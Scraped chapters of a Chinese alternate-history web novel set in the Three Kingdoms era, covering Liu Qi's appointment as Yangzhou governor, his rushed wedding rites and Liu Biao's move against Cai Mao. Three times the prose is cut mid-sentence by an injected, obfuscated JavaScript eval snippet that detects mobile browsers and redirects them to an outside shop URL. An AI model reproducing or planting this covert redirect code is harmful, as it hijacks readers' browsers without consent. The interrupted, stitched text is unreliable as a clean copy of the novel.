侍卫的话让席间顿时一静。 刘表执箸的手微微一顿,眼中掠过一丝深思。 良久,刘表缓缓放下牙箸,对侍卫摆了摆手:“知道了,且退下吧。” 待侍卫退出,席间气氛才稍稍缓和,但先前那份家宴的温馨已然消散无踪。 刘表目光扫过席间众人,最后落在刘琦身上:“许都此时遣使,倒是赶得巧。” 刘表这话说得意味深长,在座的都是明白人,自然听出其中深意。 蔡夫人捏着帕子的手紧了紧,刘琮则低头盯着面前的酒樽,不知在想些什么。 刘表何等人物,岂会不知许都此时遣使的用意? 官渡战事正酣,曹操这是要行驱虎吞狼之计,意图驱使荆州与江东继续缠斗。 只是这计策未免来得太晚,江夏战事已定,这份厚礼反倒成了刘琦的贺礼了! 随后又饮了几巡酒,刘表便以不胜酒力为由,由蔡夫人搀扶着先行离席。 而众人见状,也纷纷告退。 刘琦携黄月英回到那座偏僻旧院时,月已中天。 院中那棵老槐树在夜风中沙沙作响,恍如数月前刘琦离开时的光景。 “夫君觉得,许都此来所为何事?”黄月英替刘琦解下外袍,轻声问道。 刘琦在窗前坐下,望着天边那轮明月,冷笑道:“曹操在官渡与袁绍相持,此时遣使,必然是以为我在还江夏与孙权打得不可开交,想来添把火,好让我与孙权继续缠斗,无暇顾他罢了!” 黄月英在刘琦身侧坐下,指尖轻抚过刘琦掌心的薄茧:“如此说来就是驱虎吞狼之计罢了。只是不知,许都会给出什么价码?” “左右不过是个虚名。”刘琦目光渐深,“但既然送上门来,不要白不要。” 说着刘琦唇角泛起一丝意味深长的笑意:“只是不知那董昭明日得知江夏战事已定,又会作何感想。” 黄月英闻言也不禁莞尔:“想必会很意外。” 与此同时,州牧府书房内,刘表并未就寝,而是独自对灯沉思。 刘表案上摊着一卷江东舆图,手指轻点在江东庐江郡的位置上。 “好一个驱虎吞狼......” 刘表喃喃自语,眼中却并无怒色,反而带着几分赞许,“曹孟德倒是打得好算盘,只可惜......” 刘表忽然咳嗽了几声,侍立在侧的管家连忙上前奉茶。 刘表摆了摆手,目光依旧停留在舆图上。 “伯瑜这孩子,运道着实不错。”刘表抚须轻叹,眼中闪过一丝精光。 刘表历经宦海沉浮,何等老辣,曹操既要行这驱虎吞狼之计,必会许以重利引诱刘琦。 而能让刘琦与孙权继续死斗的,除了扬州方面的官职,还能有什么? 刘表忽然轻笑一声,带着几分玩味:“刚打完胜仗,许都就巴巴地送来名分,这等运气,倒是像极了当年光武帝逢凶化吉的际遇。” 管家躬身道:“长公子确实洪福齐天。只是许都这般算计.....”。 “算计?” 刘表摆手打断,“这世上,谁不是在算计?重要的是,看谁更能在各方算计中把握时机。” 而与此同时,襄阳城外的驿馆内,董昭正对灯阅览近日收集的荆州情报。 因初来乍到,仓促间董昭能得到的多是月前旧闻。 董昭手中几卷竹简上记载的,仍是刘琦水师进逼夏口、孙权据城坚守,战局对荆州军颇为有利战况。 董昭放下竹简,指尖轻叩案几,“刘琦能将孙权压制在夏口城内,倒是有些出乎意料。” 副使忧心道:“观此战报,孙权已是困守孤城。若他见势不妙,就此退兵.....” “哈!这正是我等来得恰是时候!”董昭唇角泛起一丝意味深长的笑意,“此时授予刘琦扬州刺史之职,恰逢其时。” 董昭起身踱步至窗前,望着襄阳城的方向:“孙权若退,刘琦得了这名分,岂会甘心放任江东精锐安然离去?届时必然乘胜追击,战事自然延续。” 董昭或者说荀彧的盘算,全然建立在月前战报之上。 董昭哪里知道夏口战事早已分出胜负,此刻董昭奉荀彧之命精心设计的驱虎吞狼之计,对已经大获全胜,正要经略江东却苦无名分的刘琦而言,恰似久旱逢甘霖,正中下怀。 副使仍有些疑虑:“可若是刘琦识破此计......” “识破又如何?” 董昭轻笑,“这扬州刺史的印绶,刘表或者刘琦舍得推拒吗?司空这步棋,乃阳谋也!” 董昭仔细将诏书收好,语气中带着运筹帷幄的自得:“明日宣诏,且看这位刘荆州如何应对。但愿他不要辜负了司空这番''美意''。” 驿馆外,秋风卷起落叶,拍打着窗棂,董昭望着窗外沉沉的夜色,唇角始终带着一抹笃定的笑意。 董昭奉荀彧之命前来施这驱虎吞狼之计,自以为将刘琦孙权皆**于股掌之间。 翌日清晨,州牧府正堂。 董昭手持诏书步入堂内,目光扫过肃立的荆州文武。 见刘表身侧站着一位 当董昭看到站在刘表身侧的刘琦时,但董昭并不识得刘琦,见其气度不凡只当是刘表次子刘琮,便朝刘表拱手道:“下官奉旨前来,原该亲赴江夏向长公子宣诏。但念及江夏战事正紧,便想请刘荆州代为转交。” 但刘表却是抚须一笑,指向身旁的刘琦:“董侍中来得正巧,犬子伯瑜昨日刚回襄阳,你便当面宣诏罢。” 董昭闻言一怔,难以置信地看向那位先前被自己误以为是刘表次子的年轻人:“这位便是江夏太守刘琦?” 此刻的董昭心中警铃大作,暗叫不好,按照昨日收集的情况来说,刘琦此刻出现在襄阳,便意味着江夏战局恐怕早已生变。 然而诏书已当众取出,众目睽睽之下,还能不宣读诏书吗? 董昭此刻可谓是进退维谷,已是骑虎难下之势了。 而这时刘琦从容上前一步,微微欠身:“江夏太守刘琦,恭聆诏命。” 虽然不知道刘琦为什么不在江夏而在襄阳,但此刻董昭只能强压下心头翻涌的不安,勉强维持镇定。 无奈之下,董昭只得硬着头皮继续宣读。 “既如此......”董昭深吸一口气,展开诏书朗声宣读:“制诏:偏将军刘琦,克明俊德,允文允武......今特加授扬州刺史,假节,督扬州诸军事......” 而董昭一边宣读,一边暗中观察刘琦。 董昭原以为会看到刘琦喜形于色,却不料对方始终面色平静,仿佛这一切早在预料之中。 刘琦这份镇定,让董昭心中的不安愈发强烈。 待董昭诏书宣读完毕,刘琦从容接过,转身面对堂内文武,朗声道:“今蒙朝廷信重,授以扬州刺史。本官定当恪尽职守,使江东六郡重归王化,保境安民,以报皇恩!” 而堂内荆州文武顿时响起一片激昂的恭贺之声。 蒯良与韩嵩、伊籍等人相视而笑,皆从对方眼中看到庆幸之色,他们当初支持长公子,如今看来确是押对了宝。 这份来自许都的"贺礼",虽说是驱虎吞狼之计,却恰恰成全了刘琦经略江东的大业。 其中尤以蒯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803299|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良最为感慨,当初刘琦离襄阳时,军粮不继,向蒯良请求拨付粮草时,曾对他吐露匡扶汉室之志,不过那时蒯良只当是刘琦年轻人不知天高地厚的豪言壮语。 谁曾想不过数月,刘琦这毫无根基的长公子竟真有了吞并江东的实力。 武将队列中,文聘、王威等刘表嫡系将领也纷纷露出欣慰之色,他们虽不参与嗣位之争,但见主公选定的继承人如此英武,自然为荆州未来感到欣喜。 而站在武将班列中的张允,此刻更是心潮澎湃。 张允先前见蔡瑁得势,没少跟着挖苦这位表弟,如今见刘琦不仅得到主公明确支持,更获封扬州刺史,待日后舅父百年,届时这位表弟便是手握两州之地,带甲十余万,舟师千艘的一方雄主, 而当初被蔡瑁等人嗤笑的匡扶汉室之志,如今看来也并非笑谈。 到时就算最终不能成就大业,退守江南也是战国楚国的格局! 张允连忙挤出最热情的笑容,朝着刘琦深深一揖,心中已打定主意要尽快改换门庭。 董昭将这一切尽收眼底,心中更是苦涩,荀令君这番谋划非但没能消耗荆州实力,反倒让刘琦如虎添翼。 而这时刘表适时起身,含笑对董昭道:“董侍中远来辛苦,今日便在府中设宴,也好让犬子略尽地主之谊。” 董昭心下焦急如焚,恨不能立刻脱身去查探实情,哪还有心思饮宴。 董昭当下便拱手推拒:“下官岂敢叨扰,还需尽快返京复命......” “诶——” 刘琦已上前执住董昭的手臂,力道虽温和却不容拒绝,“董侍中宣诏之恩,琦尚未答谢。若就此离去,岂不令天下人笑我刘琦不知礼数?” 董昭此刻可谓是如坐针毡,明明察觉到局势有异,却苦于无法脱身。 眼见左右文武都围拢过来,个个笑脸相迎,董昭只得强压下心头焦躁,勉强挤出一丝笑容:“既然诸位盛情,下官...恭敬不如从命了。” 而宴席之上,觥筹交错,董昭强颜欢笑,目光却不时瞥向谈笑自若的刘琦。 但见这位江夏太守面色红润,神采奕奕,与左右荆州文武谈笑风生时顾盼自若,哪里有半分历经数月征战的憔悴模样? 董昭可谓是越看越是心惊,按理说若是刚从战场归来,纵是得胜之师也该带着几分疲惫。 可眼前这位长公子分明是养尊处优之态,倒像是从未经历过苦战。 这让董昭不禁心生疑窦:莫非江夏战事另有蹊跷?还是说...这刘琦根本未曾亲临前线? 而董昭自然不知,刘琦在江夏借助江北世家之力,粮草无忧,又以投石机等利器破敌,未经历惨烈攻城,自然不会有那等心神劳顿。 加之新娶的娇妻黄月英在侧,又得了孙策遗孀大乔这等国色,夜夜醉卧美人膝,醒来只需处理些日常政务,日子过得颇为滋润,哪里会有征尘劳顿之态? 董昭端着酒樽的手微微发紧,心中的不安愈发浓重。 直到日影西斜,宴席方散。 董昭匆匆返回驿馆,立即唤来副使:“速去打探江夏战况!要最新的消息!” 次日黎明,副使急匆匆叩门而入,声音发颤:“董公,打听清楚了......江夏战事......早已结束。刘琦尽歼江东水师,生擒周瑜,孙权败走......” “什么?!”董昭手中的茶盏"啪"地落地,摔得粉碎。 董昭踉跄后退,扶住案几才稳住身形。 这一刻,董昭全都明白了,为何刘琦会出现在襄阳,为何接诏时那般镇定。 荀令君苦心谋划的驱虎吞狼之计,本该消耗荆州实力的计谋,如今却成了滋养刘琦这头猛虎的助力。 董昭颓然坐倒,苦笑道:“好一个刘伯瑜......好一个将计就计......” 窗外,朝阳初升,将襄阳城染上一层金辉。 董昭望着那轮旭日,心中一片冰凉。 董昭仿佛已经看到,刘琦手持这份诏书,以扬州刺史之名,率领那数万精锐水陆并进,直取江东,而刘琦有兵有将,如今更得此名分,挥师东进江东六郡尽数易帜的场面。 而孙权新君上位,加之新败元气大伤,江东六郡怕是难挡刘琦这般兵锋。 第95章 襄阳补婚礼?不!老子要打孙权! 转眼间已是三日后,董昭宣诏那日的喧嚣犹在耳畔。 襄阳小院,槐荫如盖,筛下细碎金光。 刘琦独坐窗前,指尖反复摩挲着那方沉甸甸的扬州刺史银印,目光却在墙壁悬挂的江东舆图上,准确来说是在豫章和庐陵两郡上游移。 此二郡疆域,大致与后世江西行省的版图相似。 而为何刘琦会看着豫章、庐陵两郡发愣,皆因前日,也就是董昭宣诏后的第二日,诸葛亮的急信便送到了刘琦案头。 信中言明,徐庶与魏延已率五千江陵营精锐,自江夏再度开拔,直扑庐江。 此刻,刘琦的目光落在豫章、庐陵两郡之上,指节无意识地在案几上敲击。 同时心中飞速盘算:早在离开江夏前,刘琦便命陈应为先锋,率部火速进驻庐江郡治皖县,就是要赶在李术获悉江夏大捷、察觉自己空手套白狼的算盘落空之前,造成既成事实。 如今又过去这些时日,以徐庶之智谋、魏延之骁勇,大军兵临城下,内有吕范这位江东旧将凭借旧谊在庐江军中不断拉拢、分化,外有大军压境……想必此刻,庐江已然易主! 而刘琦作为后世人知晓历史的轨迹,比谁都清楚孙权的真实秉性。 这位碧眼儿绝非遭受打击便一蹶不振的庸碌之辈,其心性坚韧隐忍,拥有着远超常人的韧性,定然不会沉溺于颓丧。 而此刻江东因孙权新败、周瑜被擒而人心惶惶,正是他刘琦持朝廷诏书、挟大胜之威,以极小代价收服豫章、庐陵的天赐良机! 若等孙权退回吴郡,凭借丹阳、吴郡、会稽等腹心之地,向本地世家妥协换来支持,重振旗鼓拉出数万大军,届时再想夺取这两郡,必将陷入苦战,付出惨重代价。 因此,刘琦知道他在襄阳多耽搁一日,战略窗口就缩小一分! 然而,归襄阳补行“六礼”之事,却成了眼前的绊脚石。 这“六礼”乃《仪礼》所载,是为“纳采、问名、纳吉、纳征、请期、亲迎”六大步骤。 这六礼并不是简单的仪式,自“纳采”(男方遣媒提亲)开始,到最终“亲迎”(新郎亲往迎娶),中间使者往返,礼物呈送,吉日卜算,每一步都需遵循古制,极尽庄重繁琐。 对于刘琦这等准诸侯阶层而言,为显重视与正统,每一步的排场、聘礼的规格、宾客的层级都需精心设计,整套流程走下来,动辄便是一两月光景。 这与刘琦后世那样领证办酒的简捷截然不同,是确立宗法社会下“正妻”名分与权利的不可或缺的**身份与社会仪式。 而这时黄月英端着羹汤轻步进来,正见丈夫对着舆图出神。 “夫君为何事烦恼?” 一声轻柔的询问将刘琦从沉思中拉回,刘琦回头望去,只见黄月英已走到自己身后。 黄月英揉着刘琦的肩膀,柔声道:“如今江夏战事已定,内有孔明先生处理政务,外有诸将戍守边疆。妾身愚钝,不知还有何事能让夫君如此劳神?” 刘琦转身,执起黄月英的手,目光扫过案上舆图:“孔明来信说,庐江已在我军掌控之下。” 黄月英闻言眼眸一亮:“这不是天大的好事么?夫君为何还愁眉不展?” “正因为是好事,才更叫人焦急。” 刘琦引她至舆图前,指尖划过长江水道,“孙权新败,周瑜被擒,此刻江东人心惶惶。若趁此时机持诏书东进,豫章、庐陵两郡传檄可定。” 刘琦手指重重按在豫章郡界,“可这六礼之制——纳采、问名、纳吉、纳征、请期、亲迎,哪一步不要十天半月?待礼成之后,只怕孙权已在吴郡重振旗鼓了。” 刘琦转身凝视妻子,语气沉凝:“因此我想与父亲商议简化礼程,只是...” 刘琦话到此处略显迟疑,“六礼关乎夫人颜面,若过分从简,恐怕.....” 刘琦此时的顾虑便是,在这个极其重视礼法的时代,正妻的地位以及尊荣是通过这一系列繁琐而隆重的仪式来确立的。 过分简化不仅会让黄月英面上无光,更会让安陆黄氏乃至所有支持他的江夏士族感到被轻视。 可若按诸侯礼制走完全程,至少需要数月之久,届时战机早已贻误。 黄月英闻言,却从容执起案上茶壶为刘琦斟茶:“夫君何必困守虚礼?当日安陆成婚时,连这些简化后的礼仪都未曾有,可有人曾因此轻慢过妾身?” 黄月英说着执起案上那方扬州刺史印绶,唇角含笑,:“如今已补全六礼,世人知晓皆知妾身是刘家新妇,如此妾身便已知足了。” 见黄月英如此深明大义,刘琦心头重负稍释,却仍握紧她的手:“终究是委屈你了。” “比起夫君麾下将士的性命,妾身少了这些虚礼算得什么委屈?”黄月英浅笑着将印绶放回刘琦手心。 言罢,黄月英忽然压低声音:“今早韩嵩夫人来访,言及蔡氏竟闭门谢客,连往日最喜的宴游都推拒了。” 随着刘琦被董昭当众宣诏、刘表又大张旗鼓为其补行六礼,刘琦这位长公子作为荆州继承人的地位已毋庸置疑。 而襄阳城内风向骤变,往日那些倚仗蔡瑁权势而颇为跋扈的蔡氏子弟,顿时嗅到了危险,一个个如同惊弓之鸟,收敛行迹,夹起尾巴做人。 刘琦这几日已从父亲看似寻常的人事调动中看出了几分端倪,诸如掌管郡国文书、考绩官吏的功曹,负责财政、仓库的户曹掾史等关键职位上,蔡瑁的几个亲信已悄然被调离,换上了更为中立或忠于州牧的人选。 刘表虽然为稳定大局,并未立刻动蔡瑁之弟、掌管军需后勤的督军从事蔡和这等核心人物,但这番精准的人事清洗,已让那些嗅觉灵敏的襄阳官员们察觉到,一场针对蔡瑁势力的**风暴正在酝酿,城中暗流愈发汹涌。 而刘琦与黄月英商议既定,见日头尚在午时之后,便不再耽搁,整了整衣冠,径直往州牧府书房求见刘表。 管家通传后不久便返回,脸上带着一丝恰到好处的恭敬与不易察觉的疑惑:“长公子,主公有请。” 管家稍稍压低声音,“主公方才还问起,公子此时不应在筹备六礼诸事么?” 闻言刘琦心下了然,微微颔首,步入书房。 只见刘表正伏案批阅文书,听见刘琦进来,随即放下笔,抚须看向刘琦,刘表眼中带着几分探寻:“琦儿,此时过来,可是六礼筹备有何难处?” “儿臣拜见父亲。” 刘琦先行礼,随后开门见山,“六礼筹备并无难处,只是....儿臣恳请父亲,允准将此番六礼流程,大幅简化。” “简化?” 刘表闻言,眉头当即皱起,身体不自觉地微微后靠,倚在凭几上,“胡闹!六礼乃人伦大纲,岂能轻简?” 刘表语气中带着明显的不悦,“你可知,此番为你补礼,为父广邀荆襄名士,连益州刘季玉、交州士威彦处亦遣了使节。如此场合,若礼仪有缺,岂不惹天下人耻笑我荆州不知礼乎?” 而刘表的反应在刘琦预料之中。 自己这位以儒雅自矜的父亲,向来将礼法规制视为维系统治和个人声誉的基石。 而在刘表心中,此番大张旗鼓操办六礼,其意义远不止于补全刘琦娶妻的礼数。 同时也是刘表精心策划的一场**盛典,意图在荆襄士族、周边诸侯乃至许都朝廷的注视下,为长子刘琦举行一场为他刘表选定为荆州继承人的正名仪式。 而在刘表这等枭雄眼中,万事皆可权衡,万物皆为棋子。 此次借补行六礼之名大操大办,其意绝非仅在于成全长子。 更深一层,刘表是要借此祀之盛况,配合江夏大捷之戎功,向天下诸侯宣示他刘景升与荆州的力量与分量。 广邀名士,遍请邻邦使节,是要让所有人看到,荆州在他治下依旧鼎盛,他刘表的声音依旧举足轻重。 同时,这也是一个绝佳的机会,将境内那些心思各异的世家豪强再度聚拢于州牧府的旗帜之下,亲眼见证他刘氏权力交接,从而进一步巩固和强化他自己的统治根基。 而任何对仪典的简化,都可能削弱这场精心策划的“**秀” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807979|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的预期效果,这是他刘表绝对不能容忍的。 而刘琦早有准备,只见他上前一步,声音沉稳:“父亲明鉴,儿臣岂不知礼制关乎颜面?” “然....” “然,前日江夏急报传来,江东庐江郡已传檄而定,归入儿臣麾下!” 刘表闻言,眼中精光一闪,身体微微前倾:“哦?” “江东庐江郡已传檄而定,于儿臣于荆州而言,乃千载难逢之机!” 刘琦语气激昂起来,“孙权新败,周瑜被擒,江东人心震荡。儿臣新领扬州刺史,又携大胜之威,此刻若率军东进,豫章、庐陵两郡必望风归附,可兵不血刃而定!” “可若等孙权在吴郡缓过气,联络世家,重整军备,届时再取此二郡,恐需耗费数万将士性命,迁延数年之久!” 说完,刘琦深吸一口气,目光灼灼地看着刘表:“父亲!两郡之地,数十万生民,与六礼之些许虚文,孰轻孰重,恳请父亲明断!” “且月英深明大义,已明确表态,愿为大局,不介怀礼仪简慢。” 随着刘琦说完,刘表书房内顿时陷入短暂的沉默,只听闻窗外树叶风吹下莎莎声音。 刘表的手指无意识地敲击着案几,目光在刘琦脸上停留许久,又缓缓移向窗外。 刘表此时在权衡,他爱惜羽毛,重视礼制不假,但他更是一位乱世中的枭雄。 刘表深知,拿下豫章、庐陵意味着什么,那不仅是将孙权的势力彻底压缩在长江下游,更是他这一支汉室宗亲的势力便将横跨荆扬,届时进可效光武故事,退亦可成战国七雄之势。 与这般宏图相比,礼仪上的些许非议,倒显得无足轻重了。 良久,刘表缓缓吐出一口气,眉头舒展开来,重新执起笔,沉声道:“罢了。既然局势如此紧迫,新妇亦如此识大体.....便依你之言,六礼诸仪,一切从简,务求迅捷。” 刘表抬眼,目光恢复了一州之主的锐利:“但该有的场面,不可过于寒酸,堕了我荆州威仪,具体如何简化,你与子柔(蒯良)、仲宣(王璨)商议着办,报于我知即可。” “儿臣,谢父亲成全!”刘琦深深一揖,心中一块大石落地。 如此看来,父亲终究是那个能单骑定荆州的刘景升,在关键时刻,魄力从不欠缺。 刘琦得了父亲首肯后,当即寻来治中从事蒯良与文学椽王粲商议。 王粲字仲宣,乃山阳高平名门之后,博学多识尤擅典章,虽因貌寝不得刘表重用,却始终在州府掌管文书礼议。 而刘琦深知时间紧迫,直接向蒯良、王粲明言六礼十日为限。 蒯良老成谋国,当即领会其中关窍这既是战事需要,当即叩首应下。 而王粲虽觉于礼不合,但见蒯良率先应承,又闻新妇自愿从简,便也应下愿倾尽所学,将纳采问名诸礼合并操办。 而州牧书房内的刘表,在目送刘琦离去后,并未立刻处理政务,而是负手立于窗前,望着庭院中渐渐西斜的日头,沉默不语。 熏香的青烟笔直上升,映衬着刘表深邃难测的眼神。 刘表就这样静静站立了约莫半个时辰,直到夕阳的余晖将窗棂染成金色,方才缓缓转身。 “是时候了。” 刘表低声自语,随即唤来侍从令道:“去,请襄阳督防王威即刻来见。” 不多时,一身戎装的王威便大步走入书房,甲胄铿锵,抱拳行礼:“末将王威,拜见明公!” 这位执掌襄阳城防与周边戍卫的将领虽非荆襄世族出身,却是中平五年就追随刘表平定宗贼的老人。 十一年来,从百人将累功至督防襄阳要地、稽查奸宄的方面重将,其权位虽不及蔡瑁显赫,却是刘表亲手培植的嫡系。 招来王威后刘表并未直接谈及正事,而是走到王威面前,目光在王威饱经风霜的脸上停留片刻,语气颇为感慨:“德严(王威表字),若我没记错,你是中平五年投入我帐下的吧?” “当年随我平定荆州宗贼,你便是先锋。转眼已是建安五年,整整十一年了。” 第97章 刘琦崛起,刘表亮刀! “当年随我平定荆州宗贼,你便是先锋。转眼已是建安五年,整整十一年了。” 王威没想到刘表召自己过来会突然提起往事,微微一怔,随即肃容道:“明公记得分毫不差!末将本是南阳一介寒门,蒙主公不弃,简拔于行伍,累功至今日江陵都督之位,皆赖主公信重!威深感明公之恩!” 刘表闻言,抚须长叹:“十一载春秋,德严从百夫长至督防襄阳,始终兢兢业业,这份赤诚殊为不易。” 刘表此刻提及往事,并非是人老了便喜欢思忆过往。 而是王威出身非荆襄大族,其晋升完全来源于刘表的提拔,与蔡、蒯等本地世家瓜葛不深,是刘表心中执行此类敏感任务的绝佳人选。 此时的刘表在长子刘琦在江夏的强势崛起后,便意识到,自己苦苦等候的时机终于来了。 当初,中平六年(公元1**),董卓秉政时,刘表被任命为荆州刺史,单骑入宜城,仅凭一纸诏书前来赴任。 而当时的荆州宗贼横行,郡守割据,刘表这位空头刺史可谓步履维艰。 二正是依靠延请蒯良、蒯越兄弟设谋定计,借助蔡瑁等本地豪族的力量,才能设宴诱杀五十五名宗贼头目,继而抚平郡县,初步站稳脚跟。 从那时至今(建安五年,公元200年),已过去整整十一年。 这十一年间,为了维系荆州稳定,刘表不得不与本土大族共享权力,逐渐形成了蒯氏主政(掌文)、蔡氏主军(掌兵)的默契格局。 然而,对任何一位雄主而言,军权这把刀把子长期旁落,都是心头大忌,都是无法忍受的存在。 是以,这些年间,刘表一直在暗中培植自己的嫡系,如王威、文聘等非世家出身的将领,便是刘表布下的棋子。 但此前局势错综复杂,牵一发而动全身,若贸然动蔡瑁,必然引发荆州世家集团的集体恐慌与反弹,导致统治根基动摇。 而如今,局势已截然不同了。 长子刘琦在江夏异军突起,不仅大败孙权,更获朝廷正式任命为扬州刺史,手握数万雄兵其势已不可阻挡。 这给刘表带来了一个绝佳的契机,一个可以借势打破旧有平衡、重新洗牌荆州权力格局的契机。 而因此引起些许动荡,凭借刘琦如今在江夏的强势与兵威,刘表也拥有了将其强力按压下去的底气与能力。 且此刻蔡瑁远在荆南平叛,远离襄阳权力中心,正是动手的良机。 刘表的计划是先以王威接管荆南兵权,控制那万余精锐,再以此为突破口,逐步清洗蔡瑁在各地军中安插的亲信。 最后,再将这位日渐跋扈的大舅哥明升暗降,调回襄阳荣养,从而彻底收回旁落已久的军权。 而王威,这个他一手提拔、与本地世家瓜葛不浅的嫡系,正是执行这关键一步的绝佳人选。 想到这,刘表深深看了王威一眼,苍老的手指在荆南舆图上点了点:“眼下荆南平乱之事,德珪督战数月竟不能定,实在令吾失望。” 说着,刘表微颤的手取过案上那枚黑漆虎符,示意侍从呈到王威面前:“德严从百夫长累功至襄阳督防,你的才具,吾素来深知。” “明日,你便持我兵符与手令,率一千五百本部精锐,火速赶赴荆南大营,接任荆南诸军事务都督之职!” 王威闻言,虎躯一震,猛地抬头:“主公,那蔡都督他......” “德珪......” 刘表沉吟了一下,后道:“荆南战事迁延日久,他也该回襄阳休养些时日了,你此去,首要之务是整肃军纪,三个月内,我要看到荆南彻底平定!” 王威深吸一口气,双手微微发颤地接过那‘沉甸甸’的黑漆虎符,其实自那日董昭当众宣诏、刘琦被默认为继承人的时刻起,他们这些荆州文武便知要变天了。 这几日,各处曹署中与蔡家关联密切的官吏都在悄然更替,这般动静让明眼人都嗅到了山雨欲来的气息。 不少人心里为刘表捏了把汗,蔡瑁在荆南可还握着万余精兵,这般动作就不怕逼反了蔡家? 可随后刘表动作却又让人摸不着头脑,刘表撤换了这许多人,却偏偏对蔡瑁之弟、掌管全军粮草调度的蔡和并没有任何举动。 这位在蔡氏门中地位仅次于蔡瑁的要员依然稳坐其位,这让诸多观望者百思不得其解,刘表这是在敲打蔡家?还是另有所图? 而此刻紧握着象征荆南兵权的虎符,王威终于明白了刘表的用意,明公是要收回旁落已久的军权,但为了避免蔡家狗急跳墙。 是以便不动蔡和,既保住了军需命脉的稳定,更是给蔡家留了体面,让他们虽失兵权却仍可保全富贵。 想通此节,王威深吸一口气,“末将王威,领命!必不负明公重托,定平荆南!” 望着王威离去的背影,刘表缓缓坐回案前,指尖无意识地摩挲着镇纸上雕刻的螭纹。 刘表之所以选择在此刻对蔡瑁发动雷霆一击,实有不得已的苦衷。 自前番大病一场后,刘表就明显感到身体一日不如一日,如今尚在七月盛夏,便时常咳得直不起腰,待到寒冬时节,刘表简直不敢想象会是何等光景。 是以,若非如此,刘表本打算徐徐图之,逐步削去蔡瑁兵权,给他个体面的退场。 毕竟当年单骑入荆州,蔡瑁与蒯越确实助他良多。 这份君臣情谊,刘表始终记在心上,但现在,刘表意识到——自己恐怕活不了那么久了。 想到蔡瑁与长子的旧怨,想到那些蔡瑁得罪过欺压过的官员,刘表不得不快刀斩乱麻,派遣嫡系将领前往荆南夺取军权。 毕竟与其待自己百年之后,让刘琦来处置这位手握重兵的舅父,倒不如趁自己尚在时亲自出手——至少现在,刘表还能保蔡瑁全身而退,让他回襄阳做个富家翁。 若是等到墙倒众人推的那天,只怕连性命都难保。 在刘表看来,这已是最妥当的安排——古往今来,多少站错队的臣属能得善终? 而能保全富贵,安然度此余生,于蔡瑁而言未尝不是一种幸运。 而王威领命后退出荆州牧府邸后,走向自己营寨,心中却已转过数个念头。 他与文聘出身相同,同时也是刘表培养起来的寒门将领,而王威也知道刘表培养提拔他们的用意,就是为了在关键时候时刻制衡蔡氏,而如今时机已至,他绝不能辜负这份重托。 所以,此时王威心中虽然觉得蔡瑁未必敢抗命,但荆州官场盘根错节,若按常例明日点兵出发,只怕驿使的快马会抢在他前头抵达荆南。 届时难免横生枝节,徒增变数。 “传令!” 王威回到军营立即召集亲信,“点一百轻骑,即刻随某出发。” 说完便将刘表调任他为荆南都督的军令拍给一旁跟过来的副将怀中,:“你明日率主力依令而行!” 副将看完调令后神情一振,“诺!” 王威这番临机决断确实出乎所有人意料。 襄阳城内的有心关注刘表下一步动作的世家豪强,都没察觉到王威当夜便率百余轻骑悄无声息地驰出南门,向荆南疾驰而去。 而随着王威离去,时间一晃就是三日后,襄阳城已陷入另一种喧嚣。 这日,自清晨起,三十辆缠着红绸的牛车便阻塞了朱雀大街,车载的玉璧在夏日骄阳下晃得人睁不开眼。 功曹掾史捧着礼单在州牧府门前唱名,声浪穿过三重仪门:“益州牧、阳城侯、振威将军刘使君(刘璋)遣使奉蜀锦百匹!!!” “交趾太守、绥南中郎将、龙度亭侯士府君(士燮)遣使献明珠十斛!!!” “汉宁太守、师君张府君(张鲁)献五斗米道经三卷!!!” “........” 站在府前阶梯上的仆役唱名声此起彼伏,而在四周围观的百姓踮脚张望,看着那些装在漆盒里的明珠、叠成小山的蜀锦、雕刻精美的青铜器被抬进州牧府,不时发出阵阵惊叹。 而围观百姓中一个粗布短打的汉子见刘琦娶妻竟有如此排场,忍不住咂舌:“乖乖!这排场,怕是刘家天子也不过如此...... 而此时,庞德公的青篷牛车缓缓停稳在州牧府前的槐荫下,这位荆襄士林的精神领袖刚探出身,便见水镜先生司马徽执着麈尾含笑相迎。 两位名满天下的隐士在车驾前执礼,惊得周围士子纷纷避让。 须知庞德公乃襄阳庞氏家主,连刘表都要尊称一声庞公,而司马徽虽隐居鹿门山,却是诸葛亮、庞统等人的授业恩师,有水镜识人之美誉。 “不想连德公也破例下山了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818120|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”司马徽轻摇麈尾与庞德公并肩立在槐荫下,望着州牧府前冠盖云集的场面。。 而庞德公执住老友的手臂,低笑道:“你这水镜先生不也离开鹿门山了?” 司马徽望向州牧府前川流不息的车驾,笑道:“荆州既出英主,老夫自然要来看看。” 